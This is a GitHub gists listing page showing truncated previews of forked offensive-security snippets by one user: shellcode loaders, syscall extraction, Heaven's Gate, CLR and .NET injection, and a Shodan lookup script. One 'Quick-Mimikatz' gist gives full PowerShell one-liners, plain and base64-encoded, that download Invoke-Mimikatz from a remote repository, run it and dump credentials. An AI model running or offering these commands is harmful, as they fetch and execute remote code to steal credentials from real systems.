EgeBalci’s gists

EgeBalci / shodan-ip-download.py

Created April 27, 2018 20:13 — forked from jivoi/shodan-ip-download.py

A Python script to lookup available information in Shodan for a list of IPs and save the data to a local file that can be processed using the Shodan CLI.

	from shodan import Shodan
	from shodan.helpers import open_file, write_banner
	from shodan.cli.helpers import get_api_key
	from sys import argv, exit

	# Input validation
	if len(argv) != 3:
	print('Usage: {} <IPs filename> <output.json.gz>'.format(argv[0]))
	print('Example: {} grizzly-ips.txt shodan-grizzly.json.gz'.format(argv[0]))
	exit(1)

EgeBalci / syscall_extractor.cpp

Created October 7, 2018 21:45 — forked from hasherezade/syscall_extractor.cpp

Extracts syscalls list from NTDLL.DLL

	#include <stdio.h>
	#include <Windows.h>

	// based on: https://www.evilsocket.net/2014/02/11/on-windows-syscall-mechanism-and-syscall-numbers-extraction-methods/
	// author: @evilsocket
	// modified by: @hasherezade

	#define IS_ADDRESS_BETWEEN( left, right, address ) ( (address) >= (left) && (address) < (right) )
	PIMAGE_SECTION_HEADER SectionByRVA( PIMAGE_SECTION_HEADER pSections, DWORD dwSections, DWORD rva )
	{

EgeBalci / mem-loader.asm

Created October 9, 2018 10:36 — forked from zznop/mem-loader.asm

Fun little loader shellcode that executes an ELF in-memory using an anonymous file descriptor (inspired by https://x-c3ll.github.io/posts/fileless-memfd_create/)

	;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
	;;;
	;;; Copyright (C), zznop, [email protected]
	;;;
	;;; This software may be modified and distributed under the terms
	;;; of the MIT license. See the LICENSE file for details.
	;;;
	;;; DESCRIPTION
	;;;
	;;; This PoC shellcode is meant to be compiled as a blob and prepended to a ELF

EgeBalci / WoW64_call.cpp

Created December 6, 2018 16:21 — forked from Cr4sh/WoW64_call.cpp

WoW64 Heaven's Gate

	#include "stdafx.h"

	#define DB(_val_) __asm __emit (_val_)

	#define INVALID_SYSCALL (DWORD)(-1)

	// code selectors
	#define CS_32 0x23
	#define CS_64 0x33

EgeBalci / Quick-Mimikatz

Created May 6, 2019 15:36 — forked from gfoss/Quick-Mimikatz

Quick Mimikatz

	NOTE - These pull from public GitHub Repos that are not under my control. Make sure you trust the content (or better yet, make your own fork) prior to using!

	#mimikatz
	IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m

	#encoded-mimikatz
	powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==

	#mimikittenz
	IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/putterpanda/mimikittenz/master

EgeBalci / clr_via_native.c

Created August 6, 2020 05:16 — forked from xpn/clr_via_native.c

A quick example showing loading CLR via native code

	#include "stdafx.h"

	int main()
	{
	ICLRMetaHost *metaHost = NULL;
	IEnumUnknown *runtime = NULL;
	ICLRRuntimeInfo *runtimeInfo = NULL;
	ICLRRuntimeHost *runtimeHost = NULL;
	IUnknown *enumRuntime = NULL;
	LPWSTR frameworkName = NULL;

EgeBalci / LowUtilities.cpp

Created June 23, 2021 10:39 — forked from D4stiny/LowUtilities.cpp

A dependency-less implementation of GetModuleHandle and GetProcAddress.

	//
	// An implementation of GetModuleHandle and GetProcAddress that works with manually mapped modules, forwarded exports,
	// without a CRT standard library, and uses no Windows API or dependencies.
	//
	// Author: Bill Demirkapi
	// License: MIT, appended at the bottom of this document if you care about licensing and want to credit me in your own project.
	//

	#include <Windows.h>
	#include <winternl.h>

EgeBalci / memBruteforce.cpp

Created December 8, 2021 15:13 — forked from aaaddress1/memBruteforce.cpp

Windows 32-bit Shellcode Design without TEB & fs:30h

	// memBruteforce.cpp by [email protected]
	// brute search loaded moudules in memory
	// rewrite from https://www.exploit-db.com/exploits/45293
	#include <Windows.h>
	#include <iostream>
	#pragma warning(disable:4996)

	bool isMemExist(size_t addr) {
	int retv;
	__asm {

EgeBalci / dotnet_inject.cpp

Created May 9, 2022 08:44 — forked from xpn/dotnet_inject.cpp

	// Compile with g++ dotnet_injectbundle.cpp -o dotnet_injectbundle

	#include <stdio.h>
	#include <fcntl.h>
	#include <string.h>
	#include <unistd.h>
	#include <stdlib.h>
	#include "main.h"

	// libcorclr.dll signature for finding hlpDynamicFuncTable

EgeBalci / CI.yml

Created August 16, 2022 13:07 — forked from Tehnix/CI.yml

Ready to use Github workflow for cross-compiling a rust binary to many Linux architectures.

	# Instruction + template repo: https://github.com/FedericoPonzi/rust-ci
	name: CI

	on:
	pull_request:
	push:
	branches:
	- master
	tags:
	- 'v..*'

Ege Balcı EgeBalci